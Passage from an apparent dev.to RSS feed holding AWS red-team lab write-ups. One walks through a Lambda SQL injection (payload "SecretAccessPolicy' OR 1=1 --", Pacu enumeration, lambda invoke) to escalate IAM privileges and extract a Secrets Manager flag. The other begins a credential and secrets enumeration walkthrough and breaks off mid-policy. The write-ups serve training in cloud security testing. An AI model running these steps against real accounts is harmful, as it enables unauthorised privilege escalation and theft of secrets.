      <guid>https://dev.to/davidonlinearchive/lab-lambda-sqli-privesc-to-access-secret-2o03</guid>
      <description>&lt;h1&gt;
  
  
  Lambda SQL Injection to IAM Privilege Escalation
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;This writeup documents the exploitation of a SQL injection vulnerability in an AWS Lambda function to escalate privileges and extract a secret from AWS Secrets Manager.&lt;/p&gt;




&lt;h2&gt;
  
  
  Reconnaissance
&lt;/h2&gt;

&lt;p&gt;Using Pacu's IAM enumeration module, we discovered 22 roles and 3 policies within the target account:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; run iam__enum_users_roles_policies_groups
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Reviewing the enumerated data revealed a key role — &lt;code&gt;invoker-lambda-sqli-privesc-*&lt;/code&gt; — that our compromised user was explicitly allowed to assume via &lt;code&gt;sts:AssumeRole&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;use this AWS command to retrieve to the policy JSON documents&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aws iam get-policy-version --policy-arn --version-id&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;Three policies were identified:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Policy&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*-user&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Grants IAM read permissions and ability to assume the invoker role&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*_applier&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Grants &lt;code&gt;iam:AttachUserPolicy&lt;/code&gt; on our user&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SecretAccessPolicy&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Grants &lt;code&gt;secretsmanager:GetSecretValue&lt;/code&gt; on the target secret&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;SecretAccessPolicy&lt;/code&gt; immediately stood out — it was the end goal, granting direct access to the target secret.&lt;/p&gt;




&lt;h2&gt;
  
  
  Assuming the Invoker Role
&lt;/h2&gt;

&lt;p&gt;With &lt;code&gt;sts:AssumeRole&lt;/code&gt; permissions confirmed, we assumed the invoker role directly in Pacu:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; assume_role arn:aws:iam::014498641618:role/invoker-lambda-sqli-privesc-to-access-secret-1783543122906
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Pacu prompt updated to reflect the assumed role. We then exported the temporary credentials and loaded them into our AWS CLI profile for use outside Pacu.&lt;/p&gt;




&lt;h2&gt;
  
  
  Lambda Enumeration
&lt;/h2&gt;

&lt;p&gt;With the invoker role active, we enumerated Lambda functions in &lt;code&gt;us-east-1&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; run lambda__enum &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One function was found: &lt;code&gt;Vulnerable-lambda-sqli-privesc-to-access-secret-*&lt;/code&gt;. Downloading its source code from the S3 location in the metadata revealed the vulnerability.&lt;/p&gt;




&lt;h2&gt;
  
  
  Identifying the Vulnerability
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;SNIP&lt;/span&gt;&lt;span class="o"&gt;--&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;policies&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;insert_all&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
&lt;span class="c1"&gt;#     {"policy_name": "SecretAccessPolicy", "public": 'False'}
# ])
&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;target_policys&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;policy_names&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;user_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;user_name&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;target policys are : &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;target_policys&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;policy&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;target_policys&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;statement_returns_valid_policy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
        &lt;span class="n"&gt;statement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;select policy_name from policies where policy_name=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;policy&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; and public=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;True&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="n"&gt;statement_returns_valid_policy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;applying &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;policy_name&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; to &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;iam_client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;attach_user_policy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
                &lt;span class="n"&gt;UserName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;user_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="n"&gt;PolicyArn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;arn:aws:iam::&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;account_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;:policy/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;policy_name&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
            &lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;result: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ResponseMetadata&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;HTTPStatusCode&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;

&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;SNIP&lt;/span&gt;&lt;span class="o"&gt;--&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Lambda function applies IAM policies to users via a SQLite database query:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;statement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;select policy_name from policies where policy_name=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;policy&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; and public=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;True&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;User-supplied input is concatenated directly into the SQL query without sanitization or parameterization. This is a textbook SQL injection vulnerability — an attacker who controls &lt;code&gt;policy_name&lt;/code&gt; can break out of the string and inject arbitrary SQL logic.&lt;/p&gt;




&lt;h2&gt;
  
  
  Crafting the Payload
&lt;/h2&gt;

&lt;p&gt;Understanding the query structure, we crafted an injection payload:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;SecretAccessPolicy' OR 1=1 --&lt;/code&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SecretAccessPolicy&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Valid-looking prefix to blend in&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Closes the developer's opening quote&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;OR 1=1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Always-true condition, returns all rows&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Comments out the remainder of the query, including &lt;code&gt;AND public='True'&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The resulting query executed by the database:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;policy_name&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;policies&lt;/span&gt; 
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;policy_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'SecretAccessPolicy'&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;-- ' AND public='True'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;AND public='True'&lt;/code&gt; security check is completely neutralized by the comment, causing the database to return all policies regardless of their visibility setting.&lt;/p&gt;




&lt;h2&gt;
  
  
  Exploitation
&lt;/h2&gt;

&lt;p&gt;We formatted the payload as a valid Lambda invocation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"policy_names"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"SecretAccessPolicy' OR 1=1 --"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"user_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"lambda-sqli-privesc-to-access-secret-1783549354532-user"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Invoking the Lambda with this payload caused it to attach &lt;code&gt;SecretAccessPolicy&lt;/code&gt; to our user, granting us &lt;code&gt;secretsmanager:GetSecretValue&lt;/code&gt; on the target secret.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws lambda invoke &lt;span class="nt"&gt;--function-name&lt;/span&gt; Vulnerable-lambda-sqli-privesc-to-access-secret-1783549354532 &lt;span class="nt"&gt;--payload&lt;/span&gt; fileb://payload.json output.txt &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Extracting the Secret
&lt;/h2&gt;

&lt;p&gt;Back in our original user session in Pacu, we ran the secrets enumeration module:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; run secrets__enum &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One secret was found: &lt;code&gt;lambda-sqli-privesc-to-access-secret-*-final_flag&lt;/code&gt;. The value was automatically saved locally:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.local/share/pacu/vuln-lamdba/downloads/secrets/secrets_manager/secrets.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;{"vault-password": "cybr-labs-secret-846237-284529"}&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  PWNSOME REFERENCES
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/RhinoSecurityLabs/pacu" rel="noopener noreferrer"&gt;Pacu — AWS Exploitation Framework&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://owasp.org/www-community/attacks/SQL_Injection" rel="noopener noreferrer"&gt;OWASP SQL Injection&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/cli/v1/userguide/cli-usage-parameters-file.html" rel="noopener noreferrer"&gt;AWS CLI User Guide — Loading Parameters from a File&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/cli/latest/reference/lambda/invoke.html" rel="noopener noreferrer"&gt;AWS CLI Command Reference — Lambda Invoke&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>redteam</category>
      <category>aws</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>cybr.com [LAB] Introduction to Secrets Manager Enumeration (AWS Red Teaming)</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Sun, 05 Jul 2026 11:58:12 +0000</pubDate>
      <link>https://dev.to/davidonlinearchive/cybrcom-lab-introduction-to-secrets-manager-enumeration-aws-red-teaming-2ebp</link>
      <guid>https://dev.to/davidonlinearchive/cybrcom-lab-introduction-to-secrets-manager-enumeration-aws-red-teaming-2ebp</guid>
      <description>&lt;p&gt;During a cloud security assessment, enumeration is a critical phase. It allows you to understand your current permissions, map out the available attack surface, and identify potential misconfigurations or exposed sensitive data. This writeup walks through a hands-on lab demonstrating how to perform credential enumeration, list secrets, and extract sensitive payloads using the AWS CLI.&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 1: Initial Identity Enumeration
&lt;/h2&gt;

&lt;p&gt;Every cloud security assessment begins with determining who you are in the environment. Using an acquired set of AWS access keys, the first step is to call the Security Token Service (STS) to get the current identity context.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws sts get-caller-identity
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The command returns the following JSON structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;  
   &lt;/span&gt;&lt;span class="nl"&gt;"UserId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AIDAQGYBPW3JHDS5K4A75"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
   &lt;/span&gt;&lt;span class="nl"&gt;"Account"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"014498641618"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
   &lt;/span&gt;&lt;span class="nl"&gt;"Arn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:iam::014498641618:user/Julie"&lt;/span&gt;&lt;span class="w"&gt;  
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output confirms that the credentials belong to an IAM user named Julie within account &lt;code&gt;014498641618&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Part 2: Privilege and Policy Assessment
&lt;/h2&gt;

&lt;p&gt;Knowing the identity is Julie, the next objective is to find out what Julie is authorized to do. We query IAM to list the inline policies attached directly to this user account.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws iam list-user-policies &lt;span class="nt"&gt;--user-name&lt;/span&gt; julie
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;  
   &lt;/span&gt;&lt;span class="nl"&gt;"PolicyNames"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;  
       &lt;/span&gt;&lt;span class="s2"&gt;"AllowReadSecretsManager"&lt;/span&gt;&lt;span class="w"&gt;  
   &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An inline policy named AllowReadSecretsManager exists. To view the exact permissions granted by this policy, we pull the specific policy document.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws iam get-user-policy &lt;span class="nt"&gt;--user-name&lt;/span&gt; julie &lt;span class="nt"&gt;--policy-name&lt;/span&gt; AllowReadSecretsManager
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The policy details reveal three distinct permission blocks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
   &lt;/span&gt;&lt;span class="nl"&gt;"UserName"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"julie"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
   &lt;/span&gt;&lt;span class="nl"&gt;"PolicyName"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AllowReadSecretsManager"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
   &lt;/span&gt;&lt;span class="nl"&gt;"PolicyDocument"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;  
       &lt;/span&gt;&lt;span class="nl"&gt;"Version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2012-10-17"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
       &lt;/span&gt;&lt;span class="nl"&gt;"Statement"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;  
           &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;  
               &lt;/span&gt;&lt;span class="nl"&gt;"Action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;  
                   &lt;/span&gt;&lt;span class="s2"&gt;"iam:ListPolicies"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
                   &lt;/span&gt;&lt;span class="s2"&gt;"iam:ListPolicyVersions"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
                   &lt;/span&gt;&lt;span class="s2"&gt;"iam:GetPolicy"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
                   &lt;/span&gt;&lt;span class="s2"&gt;"iam:GetUser"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
                   &lt;/span&gt;&lt;span class="s2"&gt;"iam:GetUserPolicy"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
                   &lt;/span&gt;&lt;span class="s2"&gt;"iam:ListUserPolicies"&lt;/span&gt;&lt;span class="w"&gt;  
               &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;  
               &lt;/span&gt;&lt;span class="nl"&gt;"Effect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Allow"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
               &lt;/span&gt;&lt;span class="nl"&gt;"Resource"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"*"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
               &lt;/span&gt;&lt;span class="nl"&gt;"Sid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AllowIAMActions"&lt;/span&gt;&lt;span class="w"&gt;  
           &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;  
           &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;  
               &lt;/span&gt;&lt;span class="nl"&gt;"Action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;  
                   &lt;/span&gt;&lt;span class="s2"&gt;"secretsmanager:GetSecretValue"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
                   &lt;/span&gt;&lt;span class="s2"&gt;"secretsmanager:ListSecretVersionIds"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
                   &lt;/span&gt;&lt;span class="s2"&gt;"secretsmanager:GetResourcePolicy"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  
                   &lt;/span&gt;&lt;span class="s2"&gt;"secretsmanager:DescribeSecret"&lt;/span&gt;&lt;span class="w"&gt;  
               &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;  
